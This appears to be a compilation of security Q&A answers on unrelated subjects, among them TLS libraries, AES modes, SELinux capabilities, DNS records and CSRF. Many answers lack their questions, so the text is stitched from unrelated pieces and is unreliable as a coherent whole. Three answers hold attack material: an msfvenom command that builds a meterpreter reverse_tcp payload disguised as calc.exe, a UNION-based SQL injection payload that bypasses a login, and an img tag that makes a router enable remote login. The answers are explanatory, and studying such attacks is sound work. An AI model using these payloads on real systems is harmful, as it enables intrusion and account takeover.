Is using cat -v an appropriate way to sanitize untrusted text?

It seems like a reasonable belt-and-suspenders security measure, though you'll probably get better answers over at unix.stackexchange.com. That said, with my tinfoil (and highly-imaginative) hat on,

There could be a vulnerability in cat you're not aware of (either in the code you cited (presumably ch is an unsigned 8-bit type but what if it isn't and ch is negative?) or in some other section, for example where it loads the file).
Your version of cat could be compromised to include a vulnerability.
There could be a vulnerability in the filesystem, or the other tools or the shell's pipeline, that is exposed by loading the file.
There could be a vulnerability in your shell when passing the filename to cat (perhaps the filename is crafted to expose the bug).
You (because you forgot, or because you were tricked; or the user of whatever script/tool you are providing) could be using a non-ASCII charset that includes control characters in the {32..126} space.
There could still be a vulnerability in the shell when printing the output (I'm imagining some really weird bug like 2^n consecutive tab characters overflows something).
There could be a vulnerability in one of the shared libraries or interpreter that your, or a future, version of cat loads.
There could be a vulnerability in the method you use to invoke cat (for example if you write a shell script that examines the file first).
The file could contain wrong information, written in a convincing way so you believe it.


Edit: Sorry I misread our question. Yes, it is possible to switch the Transport Layer. You can just switch the send/read functions of the Transport Layer (TCP) with whatever you want. However, you have to keep the Server/Client structure. Also, your Transport layer has to be reliable (as explained below) or you have to use DTLS.

Even if this might not be the scope of Information Security, i'll answer anyway, because I am working on a very similar topic on my bachelor thesis. I do not use OpenSSL or GNUTLS because their memory footstep is too big for my application.

Take a look at the Comparison of TLS Libraries on Wikipedia. There is a table for portability concers where the column No OS might be interesting for you. Since I also compared libraries for myself, here the results:

I compared

GuardTLS (previously MatrixSSL)
WolfSSL (previously CyaSSL) and
mbedTLS (previously PolarSSL).

First up: If you search for a free Open Source implementation which is not GPL licenced, mbedTLS is what you are looking for. With its Apache licence u can use it for Closed Source projects without any hassle.

GuardTLS is not very exciting imo, they are not very active GitHub on either. The WolfSSL team is very active on GitHub and the product looks very promising. The mbedTLS GitHub repository is much more endorsed by the community, though. I went for mbedTLS in the end. It always depends on your needs though.

One last hint: If your transport layer is not reliable (packets out of order or packet loss), then you need to use DTLS (TLS for datagram protocols). All of the above libraries support DTLS.


AES is a block cipher: it takes as input a key, and one block of exactly 16 bytes, and outputs another block of 16 bytes. That's the extent of what AES itself does.

So, if you want to encrypt a sequence of bytes which is not a single 16-byte block, then you must use a "mode of operation". And that is what you are already doing in your code. You just did not actually specify it in your code, and you let Java select one for you. Unfortunately, the default may be ECB, which is atrocious and weak; see this document which includes the following:

  For example, the SunJCE provider uses ECB as the default mode, and PKCS5Padding as the default padding scheme for DES, DES-EDE and Blowfish ciphers.

(No word about AES here.)

So, in any case:

You MUST understand what you are doing. Security cannot be tested, so the only way to make secure code, especially with cryptography, is to have a thorough and in-depth knowledge of what happens internally.
You MUST specify exactly what you are doing. Don't let your language select ill-defined default values.
You MUST NOT do it yourself. Writing secure crypto code is one of the hardest tasks in development, precisely because there is no way to know if you did it correctly (although experience shows that the answer "no, it's been done poorly, it is weak" almost always fits).


I'm attempting an answer based off of experience from coordinating pen tests for Fortune 100 companies. Unfortunately I think the answer is, "it depends" but hopefully this be helpful.

  Is it bad practice and unprofessional to complete penetration tests
  from distant cities, without meeting your clients in person?

The first and most important thing to know is that you must have authorization to perform the penetration test. Whether face-to-face or remote, doesn't matter. This means a formal document from the client as well as from any 3rd party vendors. For example, if your client is using AWS (Amazon Web Services), then you must have written approval and authorization of the test as well as the scope of the test from not only the client but from AWS as well. Whether you do that face-to-face or remotely - doesn't matter - you had better have legal approval to perform the test.

When you coordinate this remotely, you might risk oversight of this important point.

As far as meeting your client in person, that depends on the client. Some clients want face-to-face, some don't care. But more than that, and as mentioned by GdD, expectations must be agreed before performing the test. This is usually provided in the form of scope, cost, and deliverables.

I'm just throwing this out as a bonus but clients should understand that the test is a snapshot in time. People, processes, and technology are an important part of the full lifecycle so just getting an A+ on a pen test is not proof that the client is "secure" for eternity.


What is an offsite facility as per PCI DSS requirement 9.5.1?

This requirement appears to relate to backup media (e.g. tapes/disks etc) which you may have as part of your backup regime.

The idea here is that you shouldn't store backup media on the same site as the systems they are backing up as in the event of an outage at the main site, you may not have access to the backups either (which makes them less useful to you).

So if you store them at another physical location, they will still be available to you in the event of a disaster at the main site.

In terms of complying with the requirement, you may well find that a disaster recovery company or backup company (in the UK Iron Mountain is a good example) will provide a service where they will securely store backup tapes for you.

An alternative, if you have multiple physical locations, is to store tapes at other sites you own.  However this does add some additional complications as you'll need to make sure that you transport and store the tapes securely, to avoid the risk of losing them.

All this assumes that you're backing up to removable media. If you're doing online backups (e.g backup to the cloud) none of this is relevant as you don't have backup media to manage!


Should I also hash my session id before storing it in the database?

It is a good to have feature but not absolutely mandatory.
You would have a lot more to worry about if an attacker is able to leak data from your storage. If you are doing a good session management, you should not worry a lot about hashing the session key.

You can refer to the OWASP guide to session management: https://www.owasp.org/index.php/Session_Management_Cheat_Sheet
And another blog post:
https://hueniverse.com/2015/07/08/on-securing-web-session-ids/


What are the key elements of a good security requirement?

Testability is the key, and certainly helps get the QA teams buy-in if they have something to test to.

I have a slightly twisted viewpoint on requirements, as I like the idea of anti-requirements.  Most requirements state what the system shall/can/may do.  Anti-requirements specifically state things that the system should not do, and sometimes it is useful to think that way and capture those.

e.g. there tends to be requirements along the lines of
The system shall have a mechanism for expiring passwords after a period of time.

Though there is rarely the anti-requirement
The system shall not be accessible through the use of an expired password.

but it is implied in the first.


There have been a lot of recommendations here for encrypting specific files but nothing really about full disk encryption. If you do not use full disk encryption, your data is vulnerable if the attacker has access to your machine. Most programs you would use to interact with the data (including the OS) will create temporary files, etc that will leave bits and pieces of your data in unencrypted areas of the hard drive where it can be recovered by an attacker. If you at all think that an attacker might have physical access to your machine, you must use full disk encryption. The easiest way to do this is to use TrueCrypt on Windows. Ubuntu Linux will let you do full disk encryption if you use the alternate installer. This tutorial isn't for the latest version of Ubuntu, but it is more than enough to get you started.

Backing up to a remote location makes things tricky. You absolutely must encrypt all data before it ever touches the network or a third party service. Sites like Carbonite, Backblaze, Dropbox, etc. offer encryption but still maintain a copy of your keys so that you can restore your data from a web interface and cannot be trusted to fully secure your data. I would recommend storing all of your data in a encrypted volume (again Truecrypt is a good option for doing this) and then backing up the entire volume at once.

To summarize, the workflow would look like this:

Fully encrypt your computer using Truecrypt(Windows) or LVM(Linux)
On your now fully encrypted computer, create a local encrypted volume using Truecrypt to store data that needs to be backed up .
Do Work
Unmount/Close the encrypted volume so that keys are no longer in memory, and then push the fully encrypted local volume to a remote site.
Shut off your machine when you are done. Do not use suspend as it will leave encryption keys resident in memory.

If you are exceptionally paranoid, the computer you do work on shouldn't have access to the internet. To back up the data you would want to burn the encrypted local volume to a CD, move it to another secured computer with internet access, and then back it up from there.

Also, all of the steps above assume that you use good, strong passwords/passphrases for all encryption. They should all be different and all contain letters (capital and lowercase), numbers, and symbols to make them difficult to guess.


Will a CD automatically get infected when it is inserted?

If it is a CD-ROM (i.e. read-only) the virus cannot move there since the medium is not writable in the first place. This cannot be bypassed - it is a physical limitation not a software limitation.

If it is a CD-RW (writable) and the drive is capable to write CD-RW (most do today) the virus  can still not move there directly: a CD-RW does not behave like an external hard disk or USB drive where one can simply write a file on it. Instead a disk image needs to be prepared and then written to the drive which usually needs special programs. Of course, a virus might have this capabilities by itself or is able to make use of such programs found on the system. But it is unlikely that the virus has such capabilities unless it is explicitly designed for this use case (i.e. usually not).


Reverse proxies usually present internal applications to the internet. In these cases you will usually want the certificates to be trusted by a wide range of public computers - which necessitates certificates issued by public CAs such as Verisign etc. These CAs absolutely will not give you a delegated subordinate CA for this purpose.

Wildcard certificates provide similar functionality but are high value targets to attackers - discrete certificates with limited subjects and applications are recommended here. Lets Encrypt can help you do this in a scalable and cost effective way.

If you do not need public trust, I would recommend the same practice but issued from your internal PKI. There are a range of considerations here including making sure your internal PKI's CDP and AIA URLs are available to all validating clients, possibly also through your reverse proxy solution.

I would run a country mile away from issuing CA certificates to reverse or forward proxies in my opinion.


Which security protocols are the todays state of the art in WSN?

One area is certainly low power WAN networks, with NB-IoT (CAT-M1 and CAT-NB), LoRa and Sigfox as most common examples. I cannot comment on security levels, but I NB-IoT (part of 4G) should be pretty OK.


Get key by monitoring power consimption of AES hardware core?

There are many ways to attempt to infer information about cryptographic operations, anything from processing time (see: hardware optimization analysis) to unintended emssisions (https://en.wikipedia.org/wiki/Van_Eck_phreaking but on the processor itself) to as you asked: Differential Power Analysis (https://people.rit.edu/kjm5923/DPA_attacks_on_AES.pdf)


Are "Certificate Templates" used only as a "Template" or do they validate a certificate request?

In an Active Directory setup, the "certificate templates" are supposed to be used by the clients and by the CA itself ("AD Certificate Services").

For the CA, the templates describe how certificates shall be issued, including:

The certificate contents, including all the extensions, validity period and so on.
The issuing conditions, e.g. whether the request must be signed by some authorized RA agent or not.
The template access rights.

There are many variations, because templates have been enriched along Windows versions (so there are "Windows 2000", "Windows 2003" and "Windows 2008" templates), and the CA itself can be "stand-alone" or "enterprise" -- in the latter case, the CA is supposed to automatically feed on the AD accounts and ACL to know whether a given certificate request shall be honoured, while in a stand-alone CA most requests will be subject to a manual intervention from the CA manager (who will click on "issue" or "deny").

The AD tree contains all the known templates (you can create your own). The CA itself (the AD CS service) will "publish" some of these templates: this is the list of the templates that the service will actually use.

In any case, the contents of the certificate requests from clients will be mostly ignored (except, of course, the public key); the templates decide what goes into certificates, not the request. There are exceptions; for instance, the template may specify that the Subject Name shall be taken from the request, in which case the SubjectDN and the Subject Alt Name extension will be imported "as is" from the request (at configuration time, you may get a warning from the GUI that such a setting in an "enterprise PKI" can be dangerous because whoever is allowed, at the AD level, to request such a certificate, may then put an arbitrary name in there, so you'd better double-check your access rights).

For the client, templates are advisory: they document the kind of certificate that clients may request, and what they should put in the request. For instance, the template may state that clients shall use a specific CSP (Cryptographic Service Provider) to generate the key pair; since the CA cannot actually verify that the specified CSP was used, this is only for the benefit of clients. Some other settings are used by both client and server (e.g. key size).

The template can be used only by clients who have access to the AD server, i.e. within the domain. Clients outside of the domain shall build their requests in any way they see fit, based on information transmitted out-of-band. One usual method, in the Windows world, for an out-of-domain client to generate a certificate request, is to use the certreq.exe command-line tool with a "policy file" and the -new option.

CertEnroll is a programmatic API to be used on the client side; it encapsulates several functionalities:

CertEnroll can generate a new certificate request (including key pair generation). It may do so by feeding on programmatically-provided request parameters (e.g. key type and size). It may also automatically access the AD server to get the information from a published template.
CertEnroll can talk to the CA to submit the request.
CertEnroll locally saves the requests (in a dedicated certificate store) so that, when the certificate is received and imported, the link with the private key (which never left the client machine) can be restored.

To sum up:

Certificate Templates are the method by which you may configure what the CA puts in the certificates it issues, and under what conditions it may issue the certificates.
Clients are supposed to send requests which "work" with what the CA expects (e.g. key type and size). Clients may use the templates to get that information, if they have actually access to the templates (i.e. the clients are within the domain). Template usage by clients is not mandatory.
However, when a client requests a certificate, the CA must somehow "know" to what template the request relates. The template name can be included within the request (as a Microsoft-specific extension) or provided along with the request; CertEnroll and certreq.exe know how to do that.


Hacking is creativity. Applications are complex and when an attacker can look at the entire application he can see interesting ways of abusing it.  In the light of a few sentences explaining some vague application I would consider the following:

1)The OWASP top 10

2)Make sure you verify the SSL certificate when connecting to the APIs you need.

3)Avoid cryptography whenever possible.  It can cause a lot of problems especially if you are not a dedicated cryptographer.

4)You cannot control the client,  avoid  CWE-602 violations.


Why would someone want to block images in email?

Several reasons:

The more content in the email that the client loads and interprets, the greater the possibility that the email will deliver a malicious payload. The relatively recent vulnerability in JPEG 2000 rendering code comes to mind -- merely displaying a malicious image could be dangerous.
Images in email are commonly used by spammers and marketers to determine whether or not you've opened an email. This implicitly also tells them whether the email was delivered successfully and whether the destination email address was valid (useful for spammers).
Depending on your mail platform, image downloads may tell the sender the user's IP address.
Image URLs can theoretically be used to attack a network from the inside. For example:

<img src="http://192.168.0.1/apply.pl?user=admin&password=admin&action=EnableRemoteLogin">

Hopefully an attack like the above would fail, but security folks prefer to limit exposure as much as possible.


What level of anonymity can I expect while using a library's user session?

The short answer is in comments and @msw's response. There is, literally, no way that you can use the library's (or anyone else's) systems and/or infrastructure and have a 100% guarantee of anonymity.

If the system and/or network owner is determined to be able to monitor and log your activity, there is nothing you can do to prevent it except simply not use their systems and/or network.

Some options available to the "library":

Software keyloggers on the computer
These can be difficult to detect, but can easily be worked around (e.g.: use your own live CD/USB) if preventative measures are not in place. That said, preventing and monitoring for the workarounds isn't difficult either.

Bear in mind that "keylogger" here is a catch-all for any local monitoring tools which may in fact include screen capturing & recording or other methods of tracking your usage.

Hardware keyloggers on the computer
Depending on the implementation, these can be difficult to nigh-impossible for you to detect. Any attempts to assess a system for the presence of such devices is likely to draw attention.

Network traffic monitoring
Anything sent in the clear is an easy target. SSL/TLS, when properly implemented, can protect most data-in-transit but it will not obscure the addresses of the sites you visit. Some web-based proxies can be used to get around this, but it's also easy to block access to those.

SSL/TLS Proxy
For encrypted traffic, the network provider may set up a server that effectively acts as a man-in-the-middle for otherwise secure connections. They present themselves as you to the sites you visit, and as the sites you're visiting to you. Meanwhile, they can read all your traffic (SSL/TLS or otherwise) no matter where you go or what you do. (Bearing in mind that, at this point, the network provider still already knows what server you were trying to do it on.)

If the network provider also has ownership and/or control over the computer you're using, they can make this process practically transparent. Unless you're making a specific point to manually inspect the certificate of every site you visit, you'll never know what's going on. If they don't have such control (e.g.: you're using your cell phone or laptop on the free WiFi) you may see a warning pop up. Your options there are to click through the warning - thereby allowing the network provider to monitor your connection - or just not do what you were about to do.

Block what can't be monitored
Of course, every system has its limitations. And there's nearly always a way to work around common monitoring mechanisms. But these are largely well-known weaknesses and there's a simple way admins can force users into using only the applications, ports, and protocols they're capable of fully monitoring: whitelisting. They just configure the systems and network to only allow usage of the things they can monitor, and deny all others by default.

When the admin's got full control over the configuration of the network and/or system being used, they really can restrict the user to "their way or the highway". Of course, there's ultimately ways that nearly anything can be circumvented. But it's really hard to get around good security without being too conspicuous in a public setting.

Granted, this can come at the cost of user convenience and features. But would the admin rather let your the do whatever they want, or risk little Sally walking up to a workstation with the likes of tubgirl or goatse on the screen (to say the least of what could happen)?


Practical example of pentesting using msfvenom

Meanwhile in msfencode:

-x told msfencode that you want to use calc.exe as template;

-t is the output format;

-o output file.

To convert it to msfvenom it does not change to much:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=localhost LPORT=number -x calc.exe -f loop-vbs -o final.exe

Note that the only [flag] change in the msfencode perspective is from -t to  -f.

You can execute msfvenom --list formats to know the available output format .


Correct, see this feature posted by Dan Walsh, the SELinux maintainer for Fedora/Redhat.

Summary: Fedora 15 will not ship with binaries with the setuid flag set on them, preferring instead to set the capabilities these binaries need via POSIX Filesystem Capabilities. setuid etc can still be set on binaries. Anything that absolutely must have setuid can still have it. At this time I can't confirm (my rawhide is dead) what happens with sudo/su - it is possible for an application to use capabilities to get to root via CAP_SETUID but I don't know if they will use this technique or simply have +s set.

"suid bit = security design bug?". Well, I guess that's a matter of opinion; basically it's about giving a program that a low-privilege user uses the abilitity to run, temporarily, a privileged operation. Unfortunately, any vulnerability in that program may allow you to exploit it in order to gain higher privileges i.e. root access. Technically, it isn't a bug or a security threat; software with exploitable bugs is the issue. But writing bug free software is much more difficult than it sounds.

In terms of what posix file system capabilities are, here's a FAQ. Quoting the pertinent parts:

  Then there is something quite
  different called "POSIX capabilities"
  which is what Linux uses.  These
  capabilities are a partitioning of the
  all powerful root privilege into a set
  of distinct privileges (but look at
  securelevel emulation to find out that
  this isn't necessary the whole truth).
  Users familiar with VMS or "Trusted"
  versions of other UNIX variants will
  know this under the name "privileges".
  The name "capabilities" comes from the
  now defunct POSIX draft 1003.1e which
  used this name.

And:

  When a process tries to do a
  privileged operation, the operating
  system will check the appropriate bit
  in the effective set of the process
  (instead of checking whether the
  effective uid of the process is 0 as is
  normally done).  For example, when a
  process tries to set the clock, the
  Linux kernel will check that the
  process has the CAP_SYS_TIME bit
  (which is currently bit 25) set in its
  effective set.

And:

  6) How can I use capabilities to make
  sure Mr. Evil Luser (eluser) can't
  exploit my "suid" programs?

  This is the general outline of how
  this works given filesystem capability
  support exists.  First, you have a PAM
  module that sets the inheritable
  capabilities of the login-shell of
  eluser.  Then for all "suid" programs
  on the system, you decide what
  capabilities they need and set the
  allowed set of the executable to that set of capabilities.  The
  capability rules

  new permitted = forced | (allowed &
  inheritable)

  means that you should be careful about
  setting forced capabilities on
  executables.  In a few cases, this can
  be useful though.  For example the
  login program needs to set the
  inheritable set of the new user and
  therefore needs an almost full
  permitted set.  So if you want eluser
  to be able to run login and log in as
  a different user, you will have to set
  some forced bits on that executable.

In other words, you've got a partitioning effect for root privileges, so a setuid binary has less chance of being exploited for privilege escalation. This is good news, especially where users of Fedora turn SELinux off.

However, in a SELinux system, setuid/setguid bits are largely redundant, since selinux will apply the policy regardless of unix permissions (capabilities or otherwise). I'm going to quote a comment in the kernel source for this one:

* Since setuid only affects the current process, and since the SELinux
* controls are not based on the Linux identity attributes, SELinuxdoes not
* need to control this operation.  However, SELinux does control the use of
* the CAP_SETUID and CAP_SETGID capabilities using the capable hook.

In short, there is no need for SELinux given a properly written policy to control/restrict capability influenced behaviour, but it is used.

I'll rephrase that for clarity. In a system with a properly written SELinux policy, restricting the setting of capabilities is a non-issue since SELinux will block the activity granted by the capability if it is not also allowed in the policy. This applies to setuid/gid bits too - you might well be executing as another user, but the policy ought to stop the program doing anything outside of the defined context anyway.

An example users might be able to better appreciate/reconstruct; take a fedora box and write a basic file upload script that puts data in /var/www/html/uploads. Taking a look at that folder you can run:

$ ls -alZ
drwxrwxrwx. root   root   system_u:object_r:httpd_sys_content_t:s0 uploads

I'm assuming here you've run chmod 777 on said folder. So now try your upload via Apache. You should see an AVC message; if you're running the GUI you'll find it via setroubleshoot. Basically, until you set the context of that folder to httpd_sys_rw_content_t SELinux will deny httpd write access, regardless of the unix permissiosn.

Want an interactive demo? Log in to this guy's machine as root.

However, there exists a concept of permissions stacking too. See this (specifically:

  Add secondary calls in selinux/hooks.c
  to task_setioprio and
    task_setscheduler so that selinux and
  capabilities with file    cap support
  can be stacked).

These discussed features are implemented in the above quoted source code. In other words, setting that directory to chmod 755 yet having httpd_sys_rw_content_t as the context will still deny write. This is because the basic unix level permissions have been denied first and so SELinux context checking is never needed.


How to make sure the data is indeed tunneled?

To ensure that a tunnel is created successfully you can run

lsof -i tcp | grep ^ssh

In the output look for your foreign address 1.1.1.1 , look at the chain formed there should be two linking entries


Acquire new permission after installing an Android application

What you are asking about is known in the hacking world as "Privilege Escalation". It's a fairly broad term that encompasses a lot of techniques over a lot of operating systems and platforms, but is generally taken to mean exploiting a bug or flaw within a system to gain additional levels of access -generally administrative in nature.

To my knowledge there is no method available to do this on the current version of the Android OS and I suspect it would be regarded as a 0-day if it were possible. It's also important to consider that these types of exploits may be Phone specific, as each manufacturer applies their own "skin" to the stock Android OS. If you are looking for bugs in older versions of Android, you may want to check something like exploit-db.com. Here's one from back in March for Android One.


Security on a PEAP wifi network on phone

PEAP will secure the connection between your wireless client and the wireless access point relatively well. Whilst probably not your concern, the weakness in this system is the identification of users - usernames and passwords used for PEAP can easily be re-used on devices, whereas EAP-TLS would provide stronger authentication through the use of certificates.

What you are probably interested in is the security of your data from your wireless client through to the internet. The strength of your wireless security (between your wireless client (WiFi Cli) and the wireless access point (WiFi Ap)) tells us nothing about the security of your company's internal network.

           |-------- Office Network --------|

WiFi Cli <---------------> WiFi AP <----------------> Internet

              Secure                    Unknown?

If you are connecting to a HTTP website, the reality is your company can see all of the content in clear-text relatively easily.

If you are connecting to a HTTPS website, your company probably can't see all of the content (without a HTTPS inspection on a capable proxy) - but they can see what the name of the site is. This means they could see you are using Snapchat or Facebook generally, but not the contents of the pages, messages or images you send/receive.

Whether you should be using it for that purpose, however, is another question entirely!


Does a cyber-attack influence the occurrence of faults?

Yes, there's definitely a good chance that occurrence of faults in a system increase in case of attacks and compromised systems.

On a compromised system you may have any or even all of the following:

tasks running in background (that may interfere with legit processes)
terminated processes (many things like backup-related processes will be stopped on an infiltrated system in the case of ransomware-like scenario)
altered general system settings (may affect many things from specific programs to the overall system functionality)
altered user accounts (changing account passwords can prevent various things from running under these accounts)
unusually high resource usage (in the case of miners, which can make other legit processes crash or have low performance)
scripts altering results of normal actions (like outlook scripts stealing passwords and then spamming with your account)

Any of them can cause a legit process/task/program to become faulty.


Letting users to download data from my Django app

As @millinon mentioned, use pre-signed urls. When a user requests to download a file, your Django app only needs to make one API call to AWS (generate_presigned_url), and then send the returned url back to the user.
From there the user will download the file directly from s3 via the url. This means, whether the file is 1MB or 10GB, or even 100GB, the strain on your app is constant, allowing S3 to handle the load usually introduced by larger files.
You can also set an expires in parameter for the URL, to ensure that the file isn't exposed for too long via the url. For files where you expect users to download immediately, this can be set to a short duration of ~1-2 minutes.


Does parallel VPN create more anonymity?

Potentially.

If you have two separate VPN providers, both would need to keep logs of your connection which then could be traced back to you.
I would find a trustworthy VPN provider and just keep one, more than one is just paranoid, or for those that risk sever repercussions in case of being discovered (in which case I wouldn't do it from my home anyway).

There are many other ways to be identified over the internet, so don't think that having a VPN or a fancy parallel VPN is all you need. Take a look at IPLeak.net.
The cookies of a particular website, for example, are used to identify you.
If you visit or login to that website even once without your VPN you will be recognized by them even when using the VPN.

Anonymity is achieved by common sense and good IT knowledge, not a fancy VPN.


Use of distributed ledger/blockchain to stop data exfiltration?

Not at all.
The ledger is public, but information on the ledger does not need to be cleartext. It can be a collection of encrypted blobs. So Gmail for example would become a bery large blob of encrypted blobs, and only the owner of the respective private key would be able to decrypt his blobs, and nothing else. The BlobMail.
Having data public everywhere would help on accessibility, but not on stopping exfiltration. After all, data is everywhere but not accessible for those without the key. And that single piece of information is the difference between no data leak at all, and all past data public immediately.
I explain. If I have a 10 year history on "BlockMail", all my emails are there, but encrypted and protected by my key. But as soon as my key is compromised, all my emails since always are public, because everyone have access to the ledger, and anyone with the key can access all history. Unlike when my email password leaks, I cannot change the blockchain, and I cannot change the key that encrypted those emails ten years ago.
You could even have a master key that generates a ephemeral key for every sent message, or change the master key from time to time, but it does not change the fact that the key is a single point of failure, and it fails hard.
So if the data is always encrypted and no key ever leaks, data is secure. But as soon as the key leaks, all data is immediately and irrecoverably leaked, forever.
And even if those difficult conditions are met, nothing stops anyone from compromising your computer and stealing your decrypted data and posting it anywhere, in cleartext.
In the real world, this blockchain against data leaks would backfire. It brings no additional security, makes failures catastrophic, and does not stop the ways people already leak data.


Your search appears to have returned a number of records referencing amazon.com.  Of the records returned, most of them appear to be domains which aren't Amazon claiming to be resolved authoritatively by Amazon.  (Put differently, Amazon had nothing to do with most of this).

qlightingcontrol.in. IN NS amazon.com.
qlightingcontrol.com.tw. IN NS amazon.com.

"Amazon.com is the name server for qlightningcontrol.(*)" - I don't see that those domains actually exist, and it's unlikely amazon.com would be their NS if they did.

rustaxi-cyprus.com. IN SOA amazon.com. root.example.com. 2017122837 3600 3600 604800 86400
transfer-cyprus.ru. IN SOA amazon.com. root.transfer-cyprus.ru. 2018022807 3600 3600 604800 86400

Start Of Authority records, again, claiming amazon.com is the NS.  Unlikely, especially given the domain names involved, and the indication that "root@example.com" is the contact for one of them.

silver.buymyunicorns.com. IN CNAME amazon.com.
violet.buymyunicorns.com. IN CNAME amazon.com.

Two CNAME, or Alias, records, meaning "If you want to go to (*).buymyunicorns.com, look up amazon.com and go to their IP address."  These do, in fact, look real, albeit pointing off to Amazon AWS and not amazon.com:

$ host silver.buymyunicorns.com
silver.buymyunicorns.com is an alias for ec2-54-160-8-108.compute-1.amazonaws.com.
ec2-54-160-8-108.compute-1.amazonaws.com has address 54.160.8.108
$ host violet.buymyunicorns.com
violet.buymyunicorns.com is an alias for ec2-100-26-47-25.compute-1.amazonaws.com.
ec2-100-26-47-25.compute-1.amazonaws.com has address 100.26.47.25

Finally:

159.15.154.185.in-addr.arpa. IN PTR amazon.com.
116.213.123.195.in-addr.arpa. IN PTR amazon.com.

These PTR (or "Reverse DNS") records say "The name associated with 185.154.15.159 is amazon.com".  Anybody can associate any name with their IP address, as long as they are allowed to update PTR records for that IP address.  Looking at the rwhois data, though, I don't think that IP address is actually owned by Amazon.com:

inetnum:        185.154.15.128 - 185.154.15.255
netname:        NET-10-2
org:            ORG-ODL5-RIPE
country:        NL
remarks:        Server location - Netherlands, Dronten
source:         RIPE
...
organisation:   ORG-ODL5-RIPE
org-name:       ON-LINE DATA LTD
org-type:       OTHER
address:        Suite 1, Second Floor, Sound & Vision House, Francis Rachel Str.
address:        Victoria, Mahe, Seychelles

  what value can i get keeping in mind cyber security perspective?

The value you should get from this is that DNS is full of ways to reference reputable domains, like Amazon, but there is no actual connection to Amazon in many cases and the records you see should be less trustworthy, rather than more, because of this misdirection.


If the attacker embeds your form on his site, we're talking about a very different attack called clickjacking. A token doesn't help against clickjacking, you need different methods of protection (specifically the X-FRAME-OPTIONS header or JavaScript framebusters).

Cross-site request forgery means that the attacker creates his own form pointing to your site. Then the attacker tricks the victim (or the victim's browser) into submitting the form and taking actions on his behalf.

A token does help against CSRF, because the attacker doesn't know the token of the victim and hence cannot prepare a valid request. However, there are some limitations. If you use cookie-based protection, then an attacker might be able to set his own cookie with a known token. And cross-site scripting vulnerabilities generally break all CSRF protection.


Can a smartphone strictly be viewed as the 'something you posses' factor for 2FA when it has no hardware token capability like smartcards?

[This is my view, I'm not claiming that it represents the view of the industry]

I totally agree that some piece of secret data stored on your main device blurs the line between "something you know" and "something you have". Which side of the line it falls on, I think, depends on the specifics of what that data is and how the authentication protocol works, and what perspective you're looking at it from.

Technically yubikeys, smartcards, and even OTP fobs, are also a piece of secret data stored in software, albeit in a way that's difficult even for an attacker with physical access to extract. I will argue that the thing you are proving possession of is not the device, but the secret data. With hardware tokens these are the same, but people go and apply the same thinking to phones and other kinds of secrets and I'm not sure that's the correct way to think about it.

Definitions of "Know" vs "Have"

What kind of secret it is, and how your device stores and accesses it gives a sliding scale of security (plain text file --> yubikey). Somewhere in there lies the boundary between "know" and "have". Where you draw that line, I think, depends heavily on whose perspective you take. Some examples:

End-user perspective: you probably draw the line at "came from my memory" vs "is stored on a device".
System Administrator perspective: you probably draw the line at whether you can ask for the device back and be confident that the user no longer has the secret.
Authentication Server's perspective: in most cases, the server has no way to tell whether the secret came from a secure device, or was derived from a password that the user typed in. So the relevant distinction from its perspective is whether it is a shared secret that both client and server know, or whether it's some sort of public key that you need to prove possession of without revealing the actual secret. The practical litmus test is that "knows" tend to be vulnerable to record&replay attacks, while "haves" tend not to be.

There are some cases that everybody agrees on: a password that the user types into a textbox is clearly a "know", and a smartcard with an RSA keypair is clearly a "have". But no matter how you define "know" vs "have", I think there will always be edge-cases that one of the above perspectives considers a "know" while another considers a "have".

Thought experiment

Say the sysadmin generates you a new random password, stores it encrypted on a yubikey such that the key will release the encrypted password upon request, and only your VPN client has the key to decrypt and actually use the plaintext password (no idea if this is realistic, but hey, it's a thought experiment). Is that a know or a have? From the end-user's perspective it's certainly a have ... they can't get into their account without the fob. From the admin's perspective it's (mostly) a have because unless the user went out of their way to hack the fob and the VPN client, the user can't learn the password, so you can ask for the fob back and give it to another employee. But from the server's perspective it's certainly a know because all it sees it a plaintext password, it has no way to tell whether it came off a secure device, or was typed in.

Server perspective

As an application developer, the theoretical distinction that matters to me is:

  With "something you know" (ie passwords) you are sending the secret itself over the network to the server. With "something you have" (usually cryptographic keys or seeds) you never send the secret itself, but a one-time value or challenge response that proves you have possession of the secret.

Consider a man-in-the-middle sniffing your web traffic. They can steal your username / password. With OTP / yubikey / etc, the secret data is a cryptographic key or an RNG seed. They can sniff all the messages they want, they will never recover the "something you have" secret.

I'm arguing that if retrieving the second factor requires the attacker to have access to your device (physical access or rootkit) or to another account of yours, then it meets my definition of "something you have".

Resistance to cloning

Resistance to cloning once the attacker already has access the device is clearly a bonus, but (to me) not necessary to meet the definition. After all, to do a clone, the attacker already needs to "have" the device. The difference at that point between being able to use the device to impersonate you, and being able to clone the device to impersonate you is theoretically meaningless because, either way, they already have the ability to impersonate you.


If I use my school's access key to activate Windows 10 Education on my personal computer (at home) will the school be able to monitor my activity?

An activation code does only that: it activates the Windows license. It doesn't add the installation under the control of your school, like logging in to the computer with an organizational account would do (Intune, Autopilot etc.).
However, using such licenses on personal devices might be a violation of the license terms. But that's a bit out of scope for this question and more of their problem than yours.


Bypass login with SQL injection with additional password check

If you are able to inject username I believe you will inject into SELECT * FROM users WHERE username='admin' that username part so we only need to return a password which we write to password input.

The payload for the username input:

nobodyhavethisusername' UNION
    SELECT 1 as id, 'myuser' as username, 'mypassword' as password --

And the payload for the password input:

mypassword

What did we do?

With nobodyhavethisusername we make sure this query will not return based on left of the union select.
Union select can only return 3 columns (I guess) and app uses id, username, password columns so we returned this columns with UNION SELECT.
We have a comment out at the end (--) without it SQL query will raise exception. Notice there is a space after the two dashes. MySQL has a "safety" feature built-in that treats the comment as a minus if there is no space afterwards.

The query then becomes like this:

SELECT * FROM users
WHERE username='nobodyhavethisusername'
    UNION SELECT 1 as id, 'myuser' as username, 'mypassword' as password --


Is it safe to use a derivative of a password as a salt

The purpose of the salt is to ensure that two separate users using the same password string will not generate the same password hash.  If you are deterministically defining the salt based on the password, and two users have the same password, then you'll almost certainly be selecting the same salt for both, and will have failed the original purpose of using a salt.

(One can imagine a scheme by which you determine the salt by calculating an index into the password based on the username, which would mean two different users with the same passwords would end up with different salts derived from their passwords.  But, keep reading.)

In addition, my gut tells me that when you're extracting information from the password to use in the more public guise of the salt, you're in danger of leaking information about the password itself.  Any of the more crypto-skilled on this site can probably give chapter and verse if that's a correct gut feel.

The bottom line is really that secrecy is not required for the protection that the salt provides.  It is not intended to supplement poor password quality, only to make two equal passwords result in different hashes, thus making brute force attacks more expensive.  You should consider carefully whether you truly get any security improvement by making it more complex - and I think the answer is no.


